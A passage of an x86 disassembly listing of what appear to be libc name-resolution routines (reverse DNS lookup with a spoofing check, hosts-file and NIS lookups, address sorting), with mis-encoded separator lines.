陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C20C: ; CODE XREF: gethostbyname+211j ; gethostbyname+278j mov ds:dword_807E788, 1 loc_804C216: ; CODE XREF: gethostbyname+118j ; gethostbyname+129j ... inc edi cmp ds:dword_8079DD4[edi*4], 0 jnz loc_804C078 loc_804C225: ; CODE XREF: gethostbyname+49j ; gethostbyname+EFj ... xor eax, eax loc_804C227: ; CODE XREF: gethostbyname+AEj ; gethostbyname+28Aj lea esp, [ebp+var_410] pop ebx pop esi pop edi mov esp, ebp pop ebp retn gethostbyname endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp sub esp, 608h push edi push esi push ebx cmp dword ptr [ebp+10h], 2 jz short loc_804C26C mov ds:dword_807E788, 0FFFFFFFFh jmp loc_804C526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C258: ; CODE XREF: .text:0804C507j mov ds:dword_807E788, 0 mov eax, edi jmp loc_804C528 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C26C: ; CODE XREF: .text:0804C244j cmp dword_80784F8, 0 jnz short loc_804C27A call init_services loc_804C27A: ; CODE XREF: .text:0804C273j call libc_nls_init xor esi, esi cmp ds:dword_8079DD4, 0 jz loc_804C526 lea ebx, [ebp-500h] lea ecx, [ebp-604h] mov [ebp-608h], ecx loc_804C2A0: ; CODE XREF: .text:0804C520j mov eax, ds:dword_8079DD4[esi*4] cmp eax, 2 jz loc_804C4BC jg short loc_804C2BC cmp eax, 1 jz short loc_804C2CC jmp loc_804C517 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C2BC: ; CODE XREF: .text:0804C2B0j cmp eax, 3 jz loc_804C4D4 jmp loc_804C517 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C2CC: ; CODE XREF: .text:0804C2B5j mov ecx, [ebp+8] movzx eax, byte ptr [ecx] push eax movzx eax, byte ptr [ecx+1] push eax movzx eax, byte ptr [ecx+2] push eax movzx eax, byte ptr [ecx+3] push eax push offset aU_U_U_U_inAddr ; "%u.%u.%u.%u.in-addr.arpa" push ebx call sprintf push 400h lea eax, [ebp-400h] push eax push 0Ch push 1 push ebx call res_query add esp, 2Ch test eax, eax jge short loc_804C32C test byte ptr dword_807854C, 2 jz loc_804C517 push offset aRes_queryFaile ; "res_query failed\n" call sub_804F7EC add esp, 4 jmp loc_804C517 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C32C: ; CODE XREF: .text:0804C308j push 0Ch push 1 push ebx push eax lea eax, [ebp-400h] push eax call sub_804B800 mov edi, eax add esp, 14h test edi, edi jz loc_804C50D cmp dword_8078514, 0 jz loc_804C480 mov edx, [edi] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea esi, [eax-1] cmp esi, 0FFh jg loc_804C526 push edx mov ecx, [ebp-608h] push ecx call strcpy mov byte ptr [esi+ebp-604h], 2Eh mov byte ptr [esi+ebp-603h], 0 mov ebx, dword_8078520 mov dword_8078520, 0 mov ecx, [ebp-608h] push ecx call gethostbyname mov edi, eax mov dword_8078520, ebx mov byte ptr [esi+ebp-604h], 0 add esp, 0Ch test edi, edi jz short loc_804C3DF mov eax, [edi] push eax mov ecx, [ebp-608h] push ecx call strcmp add esp, 8 test eax, eax jz short loc_804C3F0 loc_804C3DF: ; CODE XREF: .text:0804C3C7j mov ds:dword_807E788, 1 jmp loc_804C526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C3F0: ; CODE XREF: .text:0804C3DDj mov ebx, [edi+10h] cmp dword ptr [ebx], 0 jz short loc_804C41B loc_804C3F8: ; CODE XREF: .text:0804C419j mov ecx, [ebp+0Ch] push ecx mov ecx, [ebp+8] push ecx mov eax, [ebx] push eax call bcmp add esp, 0Ch test eax, eax jz loc_804C4AA add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_804C3F8 loc_804C41B: ; CODE XREF: .text:0804C3F6j mov ds:dword_807E788, 1 cmp dword_8078518, 0 jz loc_804C526 push 20h push 1 push offset aResolv ; "resolv" call sub_80552B0 mov ecx, [ebp+8] movzx eax, byte ptr [ecx+3] push eax movzx eax, byte ptr [ecx+2] push eax movzx eax, byte ptr [ecx+1] push eax movzx eax, byte ptr [ecx] push eax mov eax, [edi] push eax push offset aGethostbyaddrS ; "gethostbyaddr: %s != %u.%u.%u.%u, possi"... push 10h push 0Bh mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h push eax push 5 call sub_8054EB0 jmp loc_804C526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C480: ; CODE XREF: .text:0804C352j mov ecx, [ebp+10h] mov [edi+8], ecx mov ecx, [ebp+0Ch] mov [edi+0Ch], ecx mov ds:dword_8079DE4, offset dword_807A318 mov ds:dword_8079DE8, 0 mov ecx, [ebp+8] mov eax, [ecx] mov ds:dword_807A318, eax loc_804C4AA: ; CODE XREF: .text:0804C40Dj mov ds:dword_807E788, 0 push edi call sub_804A580 jmp short loc_804C528 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C4BC: ; CODE XREF: .text:0804C2AAj mov ecx, [ebp+10h] push ecx mov ecx, [ebp+0Ch] push ecx mov ecx, [ebp+8] push ecx call sub_804CB94 mov edi, eax add esp, 0Ch jmp short loc_804C505 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C4D4: ; CODE XREF: .text:0804C2BFj mov ecx, [ebp+8] movzx eax, byte ptr [ecx+3] push eax movzx eax, byte ptr [ecx+2] push eax movzx eax, byte ptr [ecx+1] push eax movzx eax, byte ptr [ecx] push eax push offset aU_U_U_U_0 ; "%u.%u.%u.%u" push ebx call sprintf push offset aHosts_byaddr ; "hosts.byaddr" push ebx call sub_804C9E4 mov edi, eax add esp, 20h loc_804C505: ; CODE XREF: .text:0804C4D2j test edi, edi jnz loc_804C258 loc_804C50D: ; CODE XREF: .text:0804C345j mov ds:dword_807E788, 1 loc_804C517: ; CODE XREF: .text:0804C2B7j ; .text:0804C2C5j ... inc esi cmp ds:dword_8079DD4[esi*4], 0 jnz loc_804C2A0 loc_804C526: ; CODE XREF: .text:0804C250j ; .text:0804C288j ... xor eax, eax loc_804C528: ; CODE XREF: .text:0804C264j ; .text:0804C4BAj lea esp, [ebp-614h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000003C BYTES: COLLAPSED FUNCTION _setprotoent. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804C574 proc near ; CODE XREF: sub_804C6FC+1DCp ; sub_804C6FC+1F4p ... push ebp mov ebp, esp cmp dword_8078508, 0 jz short loc_804C59E cmp dword_807850C, 0 jnz short loc_804C59E mov eax, dword_8078508 push eax call _IO_fclose mov dword_8078508, 0 loc_804C59E: ; CODE XREF: sub_804C574+Aj ; sub_804C574+13j mov esp, ebp pop ebp retn sub_804C574 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000158 BYTES: COLLAPSED FUNCTION _gethtent. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804C6FC proc near ; CODE XREF: gethostbyname+1CFp ; gethostbyname+1E8p var_84 = byte ptr -84h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 78h push edi push esi push ebx xor edi, edi mov [ebp+var_64], 0 mov [ebp+var_4C], offset dword_8079BB8 mov [ebp+var_50], offset dword_8079C48 mov ds:dword_8079BB8, 0 mov ds:dword_8079C48, 0 mov [ebp+var_54], offset unk_80793B4 mov [ebp+var_58], offset unk_80797B5 mov [ebp+var_5C], 401h mov [ebp+var_60], 401h mov ds:dword_8079CEC, 0 mov ds:dword_8079CF0, 0 mov edx, [ebp+arg_0] push edx push offset unk_8079D78 call strcpy push 40h lea ebx, [ebp+var_40] push ebx call __gethostname push 0 call _setprotoent add esp, 14h mov [ebp+var_68], ebx lea esi, [esi] loc_804C788: ; CODE XREF: sub_804C6FC+190j ; sub_804C6FC+1D4j call _gethtent mov esi, eax test esi, esi jz loc_804C8D8 mov ecx, [ebp+arg_0] push ecx mov eax, [esi] push eax call strcasecmp add esp, 8 test eax, eax jnz short loc_804C7B0 inc edi jmp short loc_804C7ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C7B0: ; CODE XREF: sub_804C6FC+ACj mov ebx, [esi+4] cmp dword ptr [ebx], 0 jz short loc_804C7ED loc_804C7B8: ; CODE XREF: sub_804C6FC+EFj mov edx, [ebp+arg_0] push edx mov eax, [ebx] push eax call strcasecmp add esp, 8 test eax, eax jnz short loc_804C7E5 inc edi mov ecx, [ebp+arg_0] mov ds:dword_8079CEC, ecx mov eax, [esi] push eax push offset unk_8079D78 call strcpy add esp, 8 loc_804C7E5: ; CODE XREF: sub_804C6FC+CDj add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_804C7B8 loc_804C7ED: ; CODE XREF: sub_804C6FC+AFj ; sub_804C6FC+BAj mov edx, [ebp+var_68] push edx mov eax, [esi] push eax call strcasecmp add esp, 8 test eax, eax jnz short loc_804C808 inc [ebp+var_64] jmp short loc_804C82E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C808: ; CODE XREF: sub_804C6FC+102j mov ebx, [esi+4] cmp dword ptr [ebx], 0 jz short loc_804C82E loc_804C810: ; CODE XREF: sub_804C6FC+130j mov ecx, [ebp+var_68] push ecx mov eax, [ebx] push eax call strcasecmp add esp, 8 test eax, eax jnz short loc_804C826 inc [ebp+var_64] loc_804C826: ; CODE XREF: sub_804C6FC+125j add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_804C810 loc_804C82E: ; CODE XREF: sub_804C6FC+107j ; sub_804C6FC+112j test edi, edi jz short loc_804C888 cmp dword_8078510, 0 jz loc_804C8F0 mov ebx, [esi+0Ch] mov eax, [esi+8] mov ds:dword_8079CE0, eax mov eax, [esi+0Ch] mov ds:dword_8079CE4, eax cmp [ebp+var_5C], ebx jl short loc_804C886 push ebx mov edx, [ebp+var_54] push edx mov eax, [esi+10h] mov eax, [eax] push eax call bcopy mov edx, [ebp+var_54] mov ecx, [ebp+var_4C] mov [ecx], edx add ecx, 4 mov [ebp+var_4C], ecx mov dword ptr [ecx], 0 add edx, ebx mov [ebp+var_54], edx sub [ebp+var_5C], ebx add esp, 0Ch loc_804C886: ; CODE XREF: sub_804C6FC+159j xor edi, edi loc_804C888: ; CODE XREF: sub_804C6FC+134j cmp [ebp+var_64], 0 jz loc_804C788 mov ebx, [esi+0Ch] cmp [ebp+var_60], ebx jl short loc_804C8C9 push ebx mov ecx, [ebp+var_58] push ecx mov eax, [esi+10h] mov eax, [eax] push eax call bcopy mov ecx, [ebp+var_58] mov edx, [ebp+var_50] mov [edx], ecx add edx, 4 mov [ebp+var_50], edx mov dword ptr [edx], 0 add ecx, ebx mov [ebp+var_58], ecx sub [ebp+var_60], ebx add esp, 0Ch loc_804C8C9: ; CODE XREF: sub_804C6FC+19Cj mov [ebp+var_64], 0 jmp loc_804C788 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C8D8: ; CODE XREF: sub_804C6FC+95j call sub_804C574 cmp ds:dword_8079BB8, 0 jnz short loc_804C8FC xor eax, eax jmp loc_804C9D4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C8F0: ; CODE XREF: sub_804C6FC+13Dj call sub_804C574 mov eax, esi jmp loc_804C9D4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C8FC: ; CODE XREF: sub_804C6FC+1E8j mov ds:dword_8079CDC, offset dword_8079CEC mov ds:dword_8079CD8, offset unk_8079D78 mov [ebp+var_6C], 0 mov [ebp+var_70], 0FFFFFFFFh cmp ds:dword_8079C48, 0 jz short loc_804C9A3 mov [ebp+var_74], offset dword_8079C48 lea esi, [esi] loc_804C930: ; CODE XREF: sub_804C6FC+2A5j xor edi, edi cmp ds:dword_8079BB8, 0 jz short loc_804C997 mov esi, offset dword_8079BB8 loc_804C940: ; CODE XREF: sub_804C6FC+299j mov eax, ds:dword_8079CE4 push eax lea eax, [ebp+var_44] push eax mov edx, [ebp+var_74] mov eax, [edx] push eax call bcopy add esp, 0Ch mov eax, [ebp+var_44] mov ebx, eax xchg bl, bh ror ebx, 10h xchg bl, bh mov eax, ds:dword_8079CE4 push eax lea eax, [ebp+var_48] push eax mov eax, [esi] push eax call bcopy mov eax, ebx xor eax, [ebp+var_48] mov [ebp+var_44], eax add esp, 0Ch mov ecx, [ebp+var_70] cmp eax, ecx jnb short loc_804C98E mov [ebp+var_6C], edi mov [ebp+var_70], eax loc_804C98E: ; CODE XREF: sub_804C6FC+28Aj add esi, 4 inc edi cmp dword ptr [esi], 0 jnz short loc_804C940 loc_804C997: ; CODE XREF: sub_804C6FC+23Dj add [ebp+var_74], 4 mov edx, [ebp+var_74] cmp dword ptr [edx], 0 jnz short loc_804C930 loc_804C9A3: ; CODE XREF: sub_804C6FC+229j cmp [ebp+var_6C], 0 jz short loc_804C9C5 mov ecx, ds:dword_8079BB8 mov edx, [ebp+var_6C] mov eax, ds:dword_8079BB8[edx*4] mov ds:dword_8079BB8, eax mov ds:dword_8079BB8[edx*4], ecx loc_804C9C5: ; CODE XREF: sub_804C6FC+2ABj mov ds:dword_8079CE8, offset dword_8079BB8 mov eax, offset dword_8079CD8 loc_804C9D4: ; CODE XREF: sub_804C6FC+1ECj ; sub_804C6FC+1FBj lea esp, [ebp+var_84] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804C6FC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804C9E4 proc near ; CODE XREF: .text:0804BF23p ; gethostbyname+234p ... var_14 = byte ptr -14h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp dword_807852C, 0 jnz short loc_804CA11 push offset dword_807852C call yp_get_default_domain add esp, 4 test eax, eax jnz loc_804CAB1 loc_804CA11: ; CODE XREF: sub_804C9E4+16j test ebx, ebx jz short loc_804CA44 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax push eax push ebx push esi mov eax, dword_807852C push eax call sub_805D3A8 add esp, 18h jmp short loc_804CAAD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CA44: ; CODE XREF: sub_804C9E4+2Fj cmp dword_8078528, 0 jz short loc_804CA80 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push offset dword_8079DD0 push offset dword_8079DCC push esi mov eax, dword_807852C push eax call sub_805D638 add esp, 18h test eax, eax jnz short loc_804CAB1 mov dword_8078528, 0 jmp short loc_804CAB8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CA80: ; CODE XREF: sub_804C9E4+67j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push offset dword_8079DD0 push offset dword_8079DCC mov eax, ds:dword_8079DD0 push eax mov eax, ds:dword_8079DCC push eax push esi mov eax, dword_807852C push eax call sub_805D814 add esp, 20h loc_804CAAD: ; CODE XREF: sub_804C9E4+5Bj test eax, eax jz short loc_804CAB8 loc_804CAB1: ; CODE XREF: sub_804C9E4+27j ; sub_804C9E4+8Cj xor eax, eax jmp loc_804CB89 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CAB8: ; CODE XREF: sub_804C9E4+98j ; sub_804C9E4+CBj push 0Ah mov eax, [ebp+var_4] push eax call strchr mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804CACF mov byte ptr [ebx], 0 loc_804CACF: ; CODE XREF: sub_804C9E4+E6j push offset asc_806791B ; " \t" mov eax, [ebp+var_4] push eax call strpbrk mov ebx, eax mov byte ptr [ebx], 0 inc ebx mov ds:dword_8079DC8, offset dword_807A340 mov ds:dword_807A340, offset unk_807A31C mov eax, [ebp+var_4] push eax call inet_addr mov edx, eax mov eax, ds:dword_8079DC8 mov eax, [eax] mov [eax], edx mov ds:dword_8079DC4, 4 mov ds:dword_8079DC0, 2 add esp, 0Ch jmp short loc_804CB25 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CB24: ; CODE XREF: sub_804C9E4+144j ; sub_804C9E4+149j inc ebx loc_804CB25: ; CODE XREF: sub_804C9E4+13Ej cmp byte ptr [ebx], 20h jz short loc_804CB24 cmp byte ptr [ebx], 9 jz short loc_804CB24 mov ds:dword_8079DB8, ebx mov ds:dword_8079DBC, offset dword_8079E88 mov edi, offset dword_8079E88 jmp short loc_804CB64 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CB48: ; CODE XREF: sub_804C9E4+198j cmp byte ptr [ebx], 0 jz short loc_804CB7E cmp byte ptr [ebx], 20h jz short loc_804CB7B cmp byte ptr [ebx], 9 jz short loc_804CB7B cmp edi, offset unk_8079F10 jnb short loc_804CB64 mov [edi], ebx add edi, 4 loc_804CB64: ; CODE XREF: sub_804C9E4+160j ; sub_804C9E4+179j push offset asc_806791B ; " \t" push ebx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804CB7E mov byte ptr [ebx], 0 loc_804CB7B: ; CODE XREF: sub_804C9E4+16Cj ; sub_804C9E4+171j inc ebx jnz short loc_804CB48 loc_804CB7E: ; CODE XREF: sub_804C9E4+167j ; sub_804C9E4+192j mov dword ptr [edi], 0 mov eax, offset dword_8079DB8 loc_804CB89: ; CODE XREF: sub_804C9E4+CFj lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804C9E4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804CB94 proc near ; CODE XREF: .text:0804C4C8p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] push 0 call _setprotoent add esp, 4 lea esi, [esi] loc_804CBAC: ; CODE XREF: sub_804CB94+26j ; sub_804CB94+3Dj call _gethtent mov ebx, eax test ebx, ebx jz short loc_804CBD3 cmp [ebx+8], esi jnz short loc_804CBAC push edi mov edx, [ebp+arg_0] push edx mov eax, [ebx+10h] mov eax, [eax] push eax call bcmp add esp, 0Ch test eax, eax jnz short loc_804CBAC loc_804CBD3: ; CODE XREF: sub_804CB94+21j call sub_804C574 mov eax, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804CB94 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804CBE4 proc near ; CODE XREF: sub_804B800+65Fp var_6C = byte ptr -6Ch var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_46 = byte ptr -46h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 60h push edi push esi push ebx mov [ebp+var_50], 0 mov edx, [ebp+arg_0] mov [ebp+var_4C], edx mov [ebp+var_5C], 0 mov edi, [ebp+arg_4] cmp [ebp+var_50], edi jge loc_804CD5C test edi, 1 jz short loc_804CC80 xor ecx, ecx mov al, byte_80786A8 shr al, 4 and eax, 0FFh cmp [ebp+var_50], eax jge short loc_804CC56 mov esi, [edx] mov ebx, eax mov [ebp+var_60], 0 lea esi, [esi+0] loc_804CC38: ; CODE XREF: sub_804CBE4+70j mov eax, [esi] mov edx, [ebp+var_60] and eax, dword ptr unk_80786B0[edx] cmp dword ptr unk_80786AC[edx], eax jz short loc_804CC56 add edx, 8 mov [ebp+var_60], edx inc ecx cmp ecx, ebx jl short loc_804CC38 loc_804CC56: ; CODE XREF: sub_804CBE4+44j ; sub_804CBE4+65j mov edi, [ebp+var_5C] mov [ebp+edi*2+var_48], cx cmp [ebp+var_50], 0 jnz short loc_804CC74 test edi, edi jle short loc_804CC74 movsx eax, word ptr [ebp+edi*2+var_4C+2] cmp ecx, eax jge short loc_804CC74 mov [ebp+var_50], edi loc_804CC74: ; CODE XREF: sub_804CBE4+7Ej ; sub_804CBE4+82j ... inc [ebp+var_5C] add [ebp+var_4C], 4 jmp loc_804CD50 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CC80: ; CODE XREF: sub_804CBE4+2Fj ; sub_804CBE4+172j xor ecx, ecx mov al, byte_80786A8 shr al, 4 and eax, 0FFh cmp ecx, eax jge short loc_804CCC2 mov edi, [ebp+var_4C] mov esi, [edi] mov ebx, eax mov [ebp+var_60], 0 lea esi, [esi] loc_804CCA4: ; CODE XREF: sub_804CBE4+DCj mov eax, [esi] mov edx, [ebp+var_60] and eax, dword ptr unk_80786B0[edx] cmp dword ptr unk_80786AC[edx], eax jz short loc_804CCC2 add edx, 8 mov [ebp+var_60], edx inc ecx cmp ecx, ebx jl short loc_804CCA4 loc_804CCC2: ; CODE XREF: sub_804CBE4+AEj ; sub_804CBE4+D1j mov edi, [ebp+var_5C] mov [ebp+edi*2+var_48], cx cmp [ebp+var_50], 0 jnz short loc_804CCE0 test edi, edi jle short loc_804CCE0 movsx eax, word ptr [ebp+edi*2+var_4C+2] cmp ecx, eax jge short loc_804CCE0 mov [ebp+var_50], edi loc_804CCE0: ; CODE XREF: sub_804CBE4+EAj ; sub_804CBE4+EEj ... mov esi, [ebp+var_5C] inc esi xor ecx, ecx mov al, byte_80786A8 shr al, 4 and eax, 0FFh cmp ecx, eax jge short loc_804CD2D mov edx, [ebp+var_4C] mov edx, [edx+4] mov [ebp+var_58], edx mov ebx, eax mov [ebp+var_60], 0 lea esi, [esi] loc_804CD0C: ; CODE XREF: sub_804CBE4+147j mov edi, [ebp+var_58] mov eax, [edi] mov edi, [ebp+var_60] and eax, dword ptr unk_80786B0[edi] cmp dword ptr unk_80786AC[edi], eax jz short loc_804CD2D add edi, 8 mov [ebp+var_60], edi inc ecx cmp ecx, ebx jl short loc_804CD0C loc_804CD2D: ; CODE XREF: sub_804CBE4+112j ; sub_804CBE4+13Cj mov [ebp+esi*2+var_48], cx cmp [ebp+var_50], 0 jnz short loc_804CD48 test esi, esi jle short loc_804CD48 movsx eax, word ptr [ebp+esi*2+var_4C+2] cmp ecx, eax jge short loc_804CD48 mov [ebp+var_50], esi loc_804CD48: ; CODE XREF: sub_804CBE4+152j ; sub_804CBE4+156j ... add [ebp+var_5C], 2 add [ebp+var_4C], 8 loc_804CD50: ; CODE XREF: sub_804CBE4+97j mov edx, [ebp+arg_4] cmp [ebp+var_5C], edx jl loc_804CC80 loc_804CD5C: ; CODE XREF: sub_804CBE4+23j cmp [ebp+var_50], 0 jz loc_804CE7F mov edi, [ebp+arg_4] cmp [ebp+var_50], edi jge loc_804CE7F lea edx, [ebp+var_46] mov [ebp+var_54], edx mov eax, edi sub eax, [ebp+var_50] test al, 1 jz short loc_804CDD8 mov ecx, [ebp+var_50] dec ecx js short loc_804CDC7 mov edi, [ebp+arg_0] lea esi, [edi+ecx*4] lea ebx, [edx+ecx*2] loc_804CD90: ; CODE XREF: sub_804CBE4+1E1j mov ax, [ebp+ecx*2+var_48] cmp [ebx], ax jge short loc_804CDC7 movsx edx, ax mov [ebp+var_5C], edx mov ax, [ebx] mov [ebp+ecx*2+var_48], ax mov di, word ptr [ebp+var_5C] mov [ebx], di mov edx, [esi] mov edi, [ebp+arg_0] mov eax, [edi+ecx*4+4] mov [esi], eax mov [edi+ecx*4+4], edx add esi, 0FFFFFFFCh add ebx, 0FFFFFFFEh dec ecx jns short loc_804CD90 loc_804CDC7: ; CODE XREF: sub_804CBE4+1A1j ; sub_804CBE4+1B4j inc [ebp+var_50] mov edx, [ebp+arg_4] cmp [ebp+var_50], edx jge loc_804CE7F lea esi, [esi] loc_804CDD8: ; CODE XREF: sub_804CBE4+19Bj ; sub_804CBE4+295j mov ecx, [ebp+var_50] dec ecx js short loc_804CE23 mov edi, [ebp+arg_0] lea esi, [edi+ecx*4] mov edx, [ebp+var_54] lea ebx, [edx+ecx*2] lea esi, [esi] loc_804CDEC: ; CODE XREF: sub_804CBE4+23Dj mov ax, [ebp+ecx*2+var_48] cmp [ebx], ax jge short loc_804CE23 movsx edi, ax mov [ebp+var_5C], edi mov ax, [ebx] mov [ebp+ecx*2+var_48], ax mov dx, word ptr [ebp+var_5C] mov [ebx], dx mov edi, [esi] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] mov [esi], eax mov [edx+ecx*4+4], edi add esi, 0FFFFFFFCh add ebx, 0FFFFFFFEh dec ecx jns short loc_804CDEC loc_804CE23: ; CODE XREF: sub_804CBE4+1F8j ; sub_804CBE4+210j mov ecx, [ebp+var_50] test ecx, ecx jl short loc_804CE6F mov edi, [ebp+arg_0] lea esi, [edi+ecx*4] mov edx, [ebp+var_54] lea ebx, [edx+ecx*2] lea esi, [esi] loc_804CE38: ; CODE XREF: sub_804CBE4+289j mov ax, [ebp+ecx*2+var_48] cmp [ebx], ax jge short loc_804CE6F movsx edi, ax mov [ebp+var_5C], edi mov ax, [ebx] mov [ebp+ecx*2+var_48], ax mov dx, word ptr [ebp+var_5C] mov [ebx], dx mov edi, [esi] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] mov [esi], eax mov [edx+ecx*4+4], edi add esi, 0FFFFFFFCh add ebx, 0FFFFFFFEh dec ecx jns short loc_804CE38 loc_804CE6F: ; CODE XREF: sub_804CBE4+244j ; sub_804CBE4+25Cj add [ebp+var_50], 2 mov edi, [ebp+arg_4] cmp [ebp+var_50], edi jl loc_804CDD8 loc_804CE7F: ; CODE XREF: sub_804CBE4+17Cj ; sub_804CBE4+188j ... lea esp, [ebp+var_6C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804CBE4 endp ; 